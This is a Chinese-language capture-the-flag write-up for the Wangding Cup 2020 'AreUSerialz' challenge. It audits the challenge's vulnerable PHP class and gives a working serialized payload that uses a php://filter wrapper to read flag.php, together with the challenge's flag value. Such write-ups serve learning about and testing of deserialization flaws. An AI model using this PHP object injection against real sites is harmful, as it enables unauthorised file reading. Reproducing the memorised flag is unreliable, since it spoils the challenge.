1. 程式人生 > 其它 >[網鼎杯 2020 青龍組]AreUSerialz-PHP反序列化

[網鼎杯 2020 青龍組]AreUSerialz-PHP反序列化

[網鼎杯 2020 青龍組]AreUSerialz

  1. 我們開啟頁面,發現如下程式碼:

    <?php
    
    include("flag.php");
    
    highlight_file(__FILE__);
    
    class FileHandler {
    
        protected $op;
        protected $filename;
        protected $content;
    
        function __construct() {
            $op = "1";
            $filename = "/tmp/tmpfile";
            $content = "Hello World!";
            $this->process();
        }
    
        public function process() {
            if($this->op == "1") {
                $this->write();
            } else if($this->op == "2") {
                $res = $this->read();
                $this->output($res);
            } else {
                $this->output("Bad Hacker!");
            }
        }
    
        private function write() {
            if(isset($this->filename) && isset($this->content)) {
                if(strlen((string)$this->content) > 100) {
                    $this->output("Too long!");
                    die();
                }
                $res = file_put_contents($this->filename, $this->content);
                if($res) $this->output("Successful!");
                else $this->output("Failed!");
            } else {
                $this->output("Failed!");
            }
        }
    
        private function read() {
            $res = "";
            if(isset($this->filename)) {
                $res = file_get_contents($this->filename);
            }
            return $res;
        }
    
        private function output($s) {
            echo "[Result]: <br>";
            echo $s;
        }
    
        function __destruct() {
            if($this->op === "2")
                $this->op = "1";
            $this->content = "";
            $this->process();
        }
    
    }
    
    function is_valid($s) {
        for($i = 0; $i < strlen($s); $i++)
            if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                return false;
        return true;
    }
    
    if(isset($_GET{'str'})) {
    
        $str = (string)$_GET['str'];
        if(is_valid($str)) {
            $obj = unserialize($str);
        }
    
    }
    

    我們進行一下程式碼審計:

    1. 先通過GET方式傳入一個str變數,然後呼叫is_valid函式,最後將str字串反序列化

      if(isset($_GET{'str'})) {
      
          $str = (string)$_GET['str'];
          if(is_valid($str)) {
              $obj = unserialize($str);
          }
      
    2. is_valid函式是判斷傳入的變數是否是ascii碼值在32-125之間的,如果不在返回false,否則返回ture.但是PHP序列化的時候private和protected變數會引入不可見字元\x00,這些字元對應的ascii碼為0,經過is_valid函式以後會返回false,導致無法執行到反序列函式。

      所以我們可以將ascii碼為0的用"\00"來代替

      但是在php打序列化字串中只要把其中的s改成大寫打S,後面打字串就可以用十六進位制表示

      function is_valid($s) {
          for($i = 0; $i < strlen($s); $i++)
              if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
                  return false;
          return true;
      }
      
      //(ord($s[$i])就是返回$s[$i]的ascii碼值
      例子:
      <?php
      echo ord("h")."<br>";
      ?> 
      返回結果:104      //h對應的ascii碼正好是104
      
    3. 然後is_valid函式判斷完之後,會將$str反序列化,這個時候會呼叫__destruct函式

      __destruct:在一個物件銷燬的時候自動呼叫

      函式參考連結:https://segmentfault.com/a/1190000007250604

      function __destruct() {
              if($this->op === "2")
                  $this->op = "1";
              $this->content = "";
              $this->process();
          }
      

      會首先判斷$op是不是=‘2’,不是數字2,因為這是“===”強比較型別,會首先判斷變數型別。如果op==='2',就將op賦值為‘1’,然後content賦值為“”就是為空,然後呼叫process函式

    4. process:

      public function process() {
              if($this->op == "1") {
                  $this->write();
              } else if($this->op == "2") {
                  $res = $this->read();
                  $this->output($res);
              } else {
                  $this->output("Bad Hacker!");
              }
      

      會先判斷op==“1”,是就進入write函式,不是就會判斷op==‘2’,是的話就會進入read()函式,然後輸出$res變數,否則輸出“Bad Hacker!”

    5. 我們看看read()和write()

      private function write() {
              if(isset($this->filename) && isset($this->content)) {
                  if(strlen((string)$this->content) > 100) {
                      $this->output("Too long!");
                      die();
                  }
                  $res = file_put_contents($this->filename, $this->content);
                  if($res) $this->output("Successful!");
                  else $this->output("Failed!");
              } else {
                  $this->output("Failed!");
              }
          }
      
      private function read() {
              $res = "";
              if(isset($this->filename)) {
                  $res = file_get_contents($this->filename);
              }
              return $res;
          }
      

      我們發現write()函式就是判斷filename和content變數是不是為空,然後判斷conteng長度是不是>100,是就呼叫output函式輸出“Too long!”,然後讀取filename和conteng檔案賦值給$res,判斷是否為真,為真輸出“Successful!”,為假輸出"Failed!",顯然並沒有輸出什麼有用的資訊。

      我們再來看看read(),首先將$res變數=“”,然後判斷filename是否有內容,將內容讀取返回之後用output輸出,這個時候我們可以通過filename訪問flag.php檔案,這個變數是我們可控的。所以我們構造payload選擇進入read()函式

      output:就是輸出傳入的引數$s

      private function output($s) {
              echo "[Result]: <br>";
              echo $s;
          }
      

      所以我們構造EXP:

      我們需要將op=2,判斷op===“2”時返回false,但是判斷op==“2”時返回ture,這是php的弱比較型別和強比較型別的區別,有興趣的同學可以自行百度搜索。

      這個時候就會進入read()函式,裡面會有$res = file_get_contents($this->filename),這個時候我們可以用php偽協議來讀取flag.php

      filename=php://filter/read=convert.base64-encode/resource=flag.php
      
      不可以直接filename=flag.php
      因為php檔案需要進行base64編碼,否則讀取不到內容
      

      完整的EXP:

      <?php
      class FileHandler {
      
          protected $op=2;
          protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";
          protected $content="";
      
      }
      $a=new FileHandler();
      $b=serialize($a);
      $b = str_replace(chr(0),'\00',$b);
      $b = str_replace('s:','S:',$b);
      echo $b;
      ?>
      

      輸出結果:

      O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";S:0:"";}
      

      然後我們構造payload輸入:

  得到一串base64編碼,我們解密得到flag:

  <?php $flag='flag{36dd844a-6cdc-40f4-a885-bc3e54524d52}';

有什麼錯誤或者改進意見歡迎評論或發給我噢!大家一起共同學習!求大佬帶帶我!!!